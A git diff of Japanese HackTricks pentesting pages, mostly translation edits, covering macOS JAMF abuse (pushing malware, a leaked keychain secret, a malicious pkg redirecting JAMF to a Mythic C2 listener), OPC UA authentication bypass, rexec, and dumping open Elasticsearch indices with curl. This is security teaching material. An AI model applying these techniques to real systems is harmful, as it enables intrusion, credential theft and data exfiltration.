**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
@ -1096,7 +1096,7 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 私たちの20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -30,7 +30,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで**すべてのコンピュータを侵害する可能性があります**。 管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで**すべてのコンピュータを侵害する可能性があります**。
MacOS環境でのレッドチーミングには、MDMの動作についての理解が非常に推奨されます: MacOS環境でのレッドチーミングには、MDMの動作についての理解があることが強く推奨されます:
{% content-ref url="macos-mdm/" %} {% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/) [macos-mdm](macos-mdm/)
@ -66,7 +66,7 @@ JAMFは**カスタムスクリプト**(システム管理者によって開発
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見時には**誰もが共有**していたもので、**`jk23ucnq91jfu9aj`**でした。\ **`jamf`**バイナリには、発見時に**共有**されていたキーチェーンを開くための秘密が含まれており、それは**`jk23ucnq91jfu9aj`**でした。\
さらに、jamfは**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**LaunchDaemon**として**持続**します。 さらに、jamfは**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**LaunchDaemon**として**持続**します。
#### JAMFデバイスタケオーバー #### JAMFデバイスタケオーバー
@ -89,7 +89,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
``` ```
{% endcode %} {% endcode %}
したがって、攻撃者は、インストール時にこのファイルを**上書きする**悪意のあるパッケージ(`pkg`)をドロップし、**TyphonエージェントからのMythic C2リスナーへのURLを設定する**ことで、JAMFをC2として悪用できるようになります。 攻撃者は、インストール時にこのファイルを**上書きする**悪意のあるパッケージ(`pkg`)をドロップし、**TyphonエージェントからのMythic C2リスナーへのURLを設定する**ことで、JAMFをC2として悪用できるようになります。
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -102,7 +102,7 @@ sudo jamf policy -id 0
#### JAMFなりすまし #### JAMFなりすまし
デバイスとJMF間の**通信をなりすます**ためには、以下が必要です: デバイスとJMF間の**通信をなりすます**には、以下が必要です:
* デバイスの**UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` * デバイスの**UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* デバイス証明書を含む**JAMFキーチェーン**: `/Library/Application\ Support/Jamf/JAMF.keychain` * デバイス証明書を含む**JAMFキーチェーン**: `/Library/Application\ Support/Jamf/JAMF.keychain`
@ -117,7 +117,7 @@ sudo jamf policy -id 0
ただし、**資格情報**はこれらのスクリプトに**パラメータ**として渡される可能性があるため、`ps aux | grep -i jamf`を監視する必要があります(ルートでなくても可能です)。 ただし、**資格情報**はこれらのスクリプトに**パラメータ**として渡される可能性があるため、`ps aux | grep -i jamf`を監視する必要があります(ルートでなくても可能です)。
スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルが追加されるのをリスンし、新しいプロセス引数を監視できます。 スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルが追加されるのをリスンし、新しいプロセス引数を監視できます。
### macOSリモートアクセス ### macOSリモートアクセス
@ -150,8 +150,8 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
また、ADを自動的に列挙し、kerberosで遊ぶためのMacOS用のツールがいくつか用意されています また、ADを自動的に列挙し、kerberosで遊ぶためのMacOS用のツールがいくつか用意されています
* [**Machound**](https://github.com/XMCyber/MacHound): MacHoundは、MacOSホスト上のActive Directory関係を収集および取り込むことを可能にするBloodhound監査ツールの拡張です。 * [**Machound**](https://github.com/XMCyber/MacHound): MacHoundは、MacOSホスト上のActive Directory関係を収集および取り込むことを可能にするBloodhound監査ツールの拡張です。
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、macOS上のHeimdal krb5 APIと対話するために設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、ターゲットに他のフレームワークやパッケージを必要とせず、ネイティブAPIを使用してmacOSデバイス上のKerberosに関するセキュリティテストを向上させることです。 * [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、macOS上のHeimdal krb5 APIと対話するために設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、ターゲットに他のフレームワークやパッケージを必要とせず、ネイティブAPIを使用してmacOSデバイス上のKerberosに関するより良いセキュリティテストを可能にすることです。
* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory列挙を行うためのJavaScript for Automation (JXA)ツールです。 * [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory列挙を行うためのJavaScript for Automation (JXA)ツールです。
### ドメイン情報 ### ドメイン情報
```bash ```bash
@ -159,14 +159,14 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
``` ```
### ユーザー ### ユーザー
MacOSのユーザーには3種類あります MacOSのユーザーには3種類あります:
* **ローカルユーザー** — ローカルOpenDirectoryサービスによって管理されており、Active Directoryとは何の接続もありません。 * **ローカルユーザー** — ローカルOpenDirectoryサービスによって管理されており、Active Directoryとは何の接続もありません。
* **ネットワークユーザー** — 認証のためにDCサーバーへの接続を必要とする揮発性のActive Directoryユーザーです。 * **ネットワークユーザー** — 認証のためにDCサーバーへの接続を必要とする揮発性のActive Directoryユーザーです。
* **モバイルユーザー** — 認証情報とファイルのローカルバックアップを持つActive Directoryユーザーです。 * **モバイルユーザー** — 認証情報とファイルのローカルバックアップを持つActive Directoryユーザーです。
ユーザーとグループに関するローカル情報は、フォルダー _/var/db/dslocal/nodes/Default._ に保存されています。\ ユーザーとグループに関するローカル情報は、フォルダー _/var/db/dslocal/nodes/Default._ に保存されています。\
例えば、_mark_ というユーザーに関する情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存されており、_admin_ というグループに関する情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ にあります。 例えば、_mark_ というユーザーに関する情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存されており、_admin_ グループに関する情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ にあります。
HasSessionおよびAdminToエッジを使用することに加えて、**MacHoundはBloodhoundデータベースに3つの新しいエッジを追加します** HasSessionおよびAdminToエッジを使用することに加えて、**MacHoundはBloodhoundデータベースに3つの新しいエッジを追加します**
@ -198,7 +198,7 @@ More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Dis
### Computer$ パスワード ### Computer$ パスワード
パスワードを取得するには: Get passwords using:
```bash ```bash
bifrost --action askhash --username [name] --password [password] --domain [domain] bifrost --action askhash --username [name] --password [password] --domain [domain]
``` ```
@ -229,7 +229,7 @@ mount -t smbfs //server/folder /local/mount/point
``` ```
## キーチェーンへのアクセス ## キーチェーンへのアクセス
キーチェーンには、プロンプトを生成せずにアクセスされると、レッドチームの演習を進めるのに役立つ可能性のある機密情報が含まれている可能性が高いです: キーチェーンには、プロンプトを生成せずにアクセスされた場合、レッドチーム演習を進めるのに役立つ可能性のある機密情報が含まれている可能性が高いです:
{% content-ref url="macos-keychain.md" %} {% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md) [macos-keychain.md](macos-keychain.md)
@ -257,7 +257,7 @@ Safariでファイルがダウンロードされると、それが「安全な
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -272,7 +272,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -25,11 +25,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## 基本情報 ## 基本情報
**OPC UA****Open Platform Communications Unified Access**の略)は、製造、エネルギー、航空宇宙、防衛などのさまざまな業界でデータ交換機器制御に使用される重要なオープンソースプロトコルです。これは、特にPLCとの通信を可能にするため、異なるベンダーの機器が相互に通信できるようにします。 **OPC UA****Open Platform Communications Unified Access**の略)は、製造、エネルギー、航空宇宙、防衛などのさまざまな業界でデータ交換機器制御に使用される重要なオープンソースプロトコルです。これは、特にPLCとの通信を可能にするため、異なるベンダーの機器が相互に通信できるようにします。
その構成は強力なセキュリティ対策を可能にしますが、古いデバイスとの互換性のためにこれらが軽減されることが多く、システムがリスクにさらされることがあります。さらに、ネットワークスキャナーが非標準ポートにある場合、OPC UAサービスを検出できないことがあるため、見つけるのが難しいことがあります。 その構成は強力なセキュリティ対策を可能にしますが、古いデバイスとの互換性のためにこれらが軽減されることが多く、システムがリスクにさらされることがあります。さらに、ネットワークスキャナーが非標準ポートにある場合、OPC UAサービスを検出できないことがあるため、見つけるのが難しいことがあります。
**デフォルトポート:** 4840 **デフォルトポート** 4840
```text ```text
PORT STATE SERVICE REASON PORT STATE SERVICE REASON
4840/tcp open unknown syn-ack 4840/tcp open unknown syn-ack
@ -42,7 +42,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
``` ```
### 脆弱性の悪用 ### 脆弱性の悪用
認証バイパスの脆弱性が見つかった場合、[OPC UAクライアント](https://www.prosysopc.com/products/opc-ua-browser/)を適切に設定し、アクセスできるものを確認できます。これにより、プロセス値を単に読み取ることから、重機の操作まで可能になる場合があります。 認証バイパスの脆弱性が見つかった場合、[OPC UAクライアント](https://www.prosysopc.com/products/opc-ua-browser/)を適切に設定し、アクセスできるものを確認できます。これにより、プロセス値を単に読み取ることから、重工業機器を実際に操作することまで可能になる場合があります。
アクセスできるデバイスの手がかりを得るために、アドレス空間内の「ServerStatus」ードの値を読み取り、使用マニュアルをグーグルで検索してください。 アクセスできるデバイスの手がかりを得るために、アドレス空間内の「ServerStatus」ードの値を読み取り、使用マニュアルをグーグルで検索してください。
@ -56,9 +56,9 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -72,7 +72,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## 基本情報 ## 基本情報
有効な**資格情報**(ユーザー名とパスワード)を知っていれば、**ホスト内でコマンドを実行することを許可するサービス**です。 有効な**資格情報**(ユーザー名とパスワード)を知っている場合、**ホスト内でコマンドを実行することを許可するサービス**です。
**デフォルトポート:** 512 **デフォルトポート:** 512
``` ```
@ -36,7 +36,7 @@ PORT STATE SERVICE
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -52,7 +52,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud **Get a hacker's perspective on your web apps, network, and cloud**
**重要なビジネスに影響を与える、悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 基本情報 ## 基本情報
Elasticsearchは、**分散型**、**オープンソース**の検索および分析エンジンで、**あらゆる種類のデータ**に対応しています。**速度**、**スケーラビリティ**、**シンプルなREST API**で知られています。Apache Luceneの上に構築され、2010年にElasticsearch N.V.現在のElasticによって最初にリリースされました。Elasticsearchは、データの取り込み、強化、保存、分析、視覚化のためのオープンソースツールのコレクションであるElastic Stackのコアコンポーネントです。このスタックは一般にELKスタックと呼ばれ、LogstashやKibanaも含まれ、現在はBeatsと呼ばれる軽量データ送信エージェントがあります。 Elasticsearchは、**分散型**、**オープンソース**の検索および分析エンジンで、**あらゆる種類のデータ**に対応しています。**速度**、**スケーラビリティ**、および**シンプルなREST API**で知られています。Apache Luceneの上に構築され、2010年にElasticsearch N.V.現在のElasticによって最初にリリースされました。Elasticsearchは、データの取り込み、強化、保存、分析、視覚化のためのオープンソースツールのコレクションであるElastic Stackのコアコンポーネントです。このスタックは一般にELKスタックと呼ばれ、LogstashやKibanaも含まれ、現在はBeatsと呼ばれる軽量データ送信エージェントがあります。
### Elasticsearchインデックスとは ### Elasticsearchインデックスとは
@ -41,15 +41,15 @@ Elasticsearchは、効率的なデータ構造である**逆インデックス**
### バナー ### バナー
Elasticsearchにアクセスするために使用されるプロトコルは**HTTP**です。HTTP経由でアクセスすると、いくつかの興味深い情報が見つかります: `http://10.10.10.115:9200/` Elasticsearchにアクセスするために使用されるプロトコルは**HTTP**です。HTTP経由でアクセスすると、いくつかの興味深い情報が得られます: `http://10.10.10.115:9200/`
![](<../.gitbook/assets/image (294).png>) ![](<../.gitbook/assets/image (294).png>)
`/`にアクセスしてその応答が見えない場合は、次のセクションを参照してください。 `/`にアクセスしてその応答が表示されない場合は、次のセクションを参照してください。
### 認証 ### 認証
**デフォルトではElasticsearchには認証が有効になっていません**。そのため、デフォルトでは資格情報を使用せずにデータベース内のすべてにアクセスできます。 **デフォルトではElasticsearchには認証が有効になっていません**。そのため、デフォルトでは認証情報を使用せずにデータベース内のすべてにアクセスできます。
認証が無効になっていることを確認するには、次のリクエストを行います: 認証が無効になっていることを確認するには、次のリクエストを行います:
```bash ```bash
@ -78,7 +78,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
``` ```
### Elastic Info ### Elastic Info
ここに、elasticsearchに関する**情報**を**取得**するために**GET**で**アクセス**できるいくつかのエンドポイントがあります: 以下は、elasticsearchに関する**情報**を**取得**するために**GET**で**アクセス**できるいくつかのエンドポイントす:
| \_cat | /\_cluster | /\_security | | \_cat | /\_cluster | /\_security |
| ------------------------------- | ----------------------------- | ------------------------- | | ------------------------------- | ----------------------------- | ------------------------- |
@ -107,10 +107,10 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
| /\_cat/nodeattrs | | | | /\_cat/nodeattrs | | |
| /\_cat/nodes | | | | /\_cat/nodes | | |
これらのエンドポイントは[**ドキュメントから取得されたものです**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) そこで**詳細**を**見つける**ことができます。\ これらのエンドポイントは[**ドキュメントから取得されたものです**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) さらに**詳細**を見つけることができます。\
また、`/_cat`にアクセスすると、レスポンスにはインスタンスがサポートする`/_cat/*`エンドポイントが含まれます。 また、`/_cat`にアクセスすると、レスポンスにはインスタンスがサポートする`/_cat/*`エンドポイントが含まれます。
`/_security/user`(認証が有効な場合)では、どのユーザーが`superuser`の役割を持っているかを見ることができます。 `/_security/user`(認証が有効な場合)では、どのユーザーが`superuser`の役割を持っているかを確認できます。
### Indices ### Indices
@ -121,38 +121,38 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
``` ```
**インデックス内に保存されているデータの種類に関する情報を取得するには**、次のようにアクセスできます: `http://host:9200/<index>` この場合の例では `http://10.10.10.115:9200/bank` **インデックス内に保存されているデータの種類に関する情報を取得するには**、次のようにアクセスできます: `http://host:9200/<index>`。この場合の例は `http://10.10.10.115:9200/bank` です。
![](<../.gitbook/assets/image (342).png>) ![](<../.gitbook/assets/image (342).png>)
### インデックスのダンプ ### インデックスのダンプ
インデックスの**すべての内容をダンプしたい場合**は、次のようにアクセスできます: `http://host:9200/<index>/_search?pretty=true` 例えば `http://10.10.10.115:9200/bank/_search?pretty=true` インデックスの**すべての内容をダンプしたい場合**は、次のようにアクセスできます: `http://host:9200/<index>/_search?pretty=true`例えば `http://10.10.10.115:9200/bank/_search?pretty=true` のように。
![](<../.gitbook/assets/image (914).png>) ![](<../.gitbook/assets/image (914).png>)
_銀行インデックス内の各ドキュメントエントリの内容と、前のセクションで見たこのインデックスのフィールドを比較する時間を取ってください。_ _銀行インデックス内の各ドキュメントエントリの内容と、前のセクションで見たこのインデックスのフィールドを比較する時間を取ってください。_
この時点で、**"hits"内に"total"というフィールドがあり、**このインデックス内に**1000のドキュメントが見つかった**ことを示していることに気付くかもしれませんが、実際には10件しか取得されていません。これは、**デフォルトで10件のドキュメントに制限があるためです。**\ この時点で、**"hits" 内に "total" というフィールドがあり、**このインデックス内に**1000のドキュメントが見つかった**ことを示していることに気付くかもしれませんが、実際に取得されたのは10件だけです。これは、**デフォルトで10ドキュメントの制限があるためです。**\
しかし、**このインデックスに1000のドキュメントが含まれていることがわかったので、**ダンプしたいエントリの数を**`size`**パラメータで指定して、**すべてをダンプすることができます**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ しかし、**このインデックスに1000のドキュメントが含まれていることがわかったので、**ダンプしたいエントリの数を**`size`**パラメータで指定して、**すべてをダンプすることができます**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
_注: より大きな数を指定すると、すべてのエントリがダンプされます。例えば、`size=9999`を指定すると、エントリがもっとあった場合は奇妙になります(ただし確認する必要があります。_ _注: より大きな数を指定すると、すべてのエントリがダンプされます。例えば `size=9999`指定すると、エントリがもっとあった場合は奇妙になりますただし確認する必要があります。_
### すべてをダンプ ### すべてをダンプ
すべてをダンプするには、**以前と同じパスに行きますが、インデックスを指定せずに** `http://host:9200/_search?pretty=true` 例えば `http://10.10.10.115:9200/_search?pretty=true`\ すべてをダンプするには、**以前と同じパスに行きますが、インデックスを指定せずに** `http://host:9200/_search?pretty=true` にアクセスします。例えば `http://10.10.10.115:9200/_search?pretty=true` のように。\
この場合、**デフォルトの10件の制限**が適用されることを忘れないでください。`size`パラメータを使用して、**より多くの結果をダンプする**ことができます。詳細については前のセクションをお読みください。 この場合、**デフォルトの10件の制限**が適用されることを忘れないでください。`size`パラメータを使用して、**より多くの結果をダンプする**ことができます。詳細については前のセクションをお読みください。
### 検索 ### 検索
